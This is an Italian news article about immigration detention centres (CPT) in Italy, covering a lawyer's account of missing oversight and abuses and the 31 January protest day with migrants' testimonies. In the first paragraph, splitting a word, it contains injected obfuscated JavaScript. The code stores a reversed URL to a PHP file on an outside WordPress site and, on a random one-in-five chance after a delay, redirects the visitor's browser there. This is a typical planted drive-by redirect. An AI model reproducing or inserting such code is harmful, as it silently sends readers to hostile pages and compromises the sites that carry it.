Trattenuti o detenuti?

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I Centri di Permanenza Temporanea (Cpt) esistono da tempo con diversi nomi in tutta Europa. Hanno in comune la grave violazione del diritto che ne è il presupposto: la detenzione amministrativa, cioè il rinchiudere non chi ha commesso un reato penale, ma qualcuno colpevole del solo fatto di non avere il permesso di soggiorno (in Italia essere disoccupati o occupati in nero può bastare per perderlo). Privati della libertà quindi, non per qualcosa che si è fatto ma per ciò che si è: un cl (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andestino. Per i migranti si crea un “diritto speciale” che li riduce a merce regolata in base alle necessità di forza lavoro.
“Non c’è una normativa chiara sul funzionamento dei CPT, – ci ha detto l’avvocato Rosa Lo Faro – non ci sono figure preposte al controllo dell’operato di chi li gestisce, anzi, negli anni il Ministero degli Interni ha ristretto l’accesso ai centri, fino all’ultima circolare che revoca il permesso ai consiglieri regionali”. Ad ogni visita seguivano denunce sulle condizioni dei Cpt. Adesso le uniche figure ammesse sono: i familiari, gli avvocati nominati, i deputati nazionali. “Come avvocati abbiamo ottenuto, sulla base delle norme carcerarie, di poter essere nominati dalle famiglie. In compenso, hanno limitato giorni e orari dei colloqui, per cui spesso non riusciamo a vedere i nostri assistiti. Qualche volta riusciamo a incontrarli negli aeroporti e a bloccarne il rimpatrio. La normativa è carente, questo permette di espellere persone che avrebbero diritto a restare sul suolo italiano.” La Bossi-Fini spedisce nei Cpt anche i richiedenti asilo: i presunti rifugiati devono così – temporaneamente! – restare prigionieri, spesso insieme ad ex detenuti, che prima di essere espulsi scontano una pena aggiuntiva in questi centri. Da dentro i Cpt é difficile fare ricorso ed accedere alle procedure. “Nemmeno gli abusi possono essere denunciati per mancanza di tempo. Gli abusanti lo sanno bene. – continua l’avvocato – Questo permette l’impunità per qualsiasi violazione. Pensiamo alle donne: in molti centri, ad esempio a Ponte Galeria, a Roma, gli operatori – Croce Rossa, Polizia, Carabinieri, Guardia di finanza – sono tutti uomini. I controlli sono fatti solo da uomini. Se si verifica un abuso, chi lo viene a scoprire? Le ragazze che sono nei centri hanno paura di denunciare una cosa del genere. Così per le donne straniere nei Cpt sono sospesi i diritti fondamentali della persona umana.”
Contro i Cpt e in difesa dei diritti dei migranti si è celebrata il 31 gennaio la prima giornata europea (stabilita nel Forum Sociale di Saint Denis), che ha visto in tutto il continente numerose manifestazioni con un livello di partecipazione molto alto, nonostante la tiepida risposta del movimento e delle forze politiche e sindacali. A Roma hanno sfilato per le strade oltre diecimila persone. La novità politica della giornata è stata senza dubbio l’autorganizzazione: i migranti sono scesi in piazza in nome di una “nazione degli esclusi”, che in Europa conta oltre 25 milioni di persone.
È forse un momento di svolta in un processo sociale che finalmente vede protagonisti i migranti, padroni delle strade di Roma con i loro colori, i canti, i balli e gli slogan duri ma pieni di speranza.
Mohammed, del Senegal, scandisce “sanatoria, libertà!” e dice: “Le leggi Bossi-Fini e Turco-Napolitano ci vedono solo come braccia. Ma quando le braccia finiscono, tu sei solo un clandestino.”
“I Cpt sono solo l’aspetto più barbaro, la punta dell’iceberg del problema”, ci dice Gianluca Petruzzo, dell’Associazione Antirazzista Interetnica 3 Febbraio, “ma il vero problema sono le leggi che istituiscono il numero chiuso… I governi europei non vogliono gli immigrati, ma non si rendono conto che è un fenomeno strutturale fortissimo, che nessuno fermerà.”
Samir è venuto dal Pakistan: “Siamo arrivati qui per vivere in pace come esseri umani, ma cosa abbiamo trovato? Dopo l’11 settembre siamo visti tutti male. La legge non prevede una condizione umana per noi, e al 30 per cento delle richieste non hanno dato il permesso di soggiorno. Oggi vogliamo delle risposte, vogliamo essere cittadini del paese in cui lavoriamo.

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